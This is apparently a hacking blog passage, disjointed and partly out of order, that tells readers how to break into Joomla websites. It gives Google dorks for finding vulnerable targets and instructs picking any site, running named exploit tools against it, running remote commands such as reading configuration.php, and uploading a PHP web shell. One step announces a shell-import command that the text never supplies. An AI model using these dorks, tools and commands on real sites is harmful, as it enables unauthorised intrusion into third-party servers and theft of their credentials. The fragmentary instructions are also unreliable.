Procedure 1- Copy the dork and paste it on Google or any other search engine 2- Chose any site 3- Run the JomSocial Exploiter by Gothie 4- Paste the site URL in the given textbox and click Connect
5-If site is vulnerable, you will get the message as below
6- Now, you can execute any command remotely. The commands are as below:
system('id & uname -a');
system('ls');
system('cat configuration.php');
7- To upload shell, you need to have raw shell (shell.txt) uploaded anywhere and can be access directly without executing it. Type in the command below to import your shell and save it as .php
inurl:"images/stories" php "index of /images/stories/powered_by.png" "index of /images/stories/joomla-dev_cycle.png" "index of /images/stories/food" "index of /images/stories/fruit" inurl:"/images/stories/food" inurl:"/images/stories/fruit" inurl:index.php?option=com_jce inurl:index.php?option=com_virtuemart inurl:joomla/index.php?option=com_virtuemart
Steps: 1- Copy any of the dorks, and paste on google
2 - Choose any site
3 - Open up JCE.exe
4 - Paste the site that you chose in the textbox
5 - Click on START
6 - If the shell successfully upload, you will get the link to the shell
Hello everyone! It has been a while that i haven't update this blog post since i was very busy. So, as for today i wanna post about exploit in CMS Joomla! which the vulnerability is we can register new user on the site.
Finding Vulnerable target:
Dorks:
inurl:index.php/using/joomla site:com intext:Joomla! is a flexible and powerful platform, whether you are building a small site for yourself or a huge site with hundreds of thousands of visitors site:com
Articles
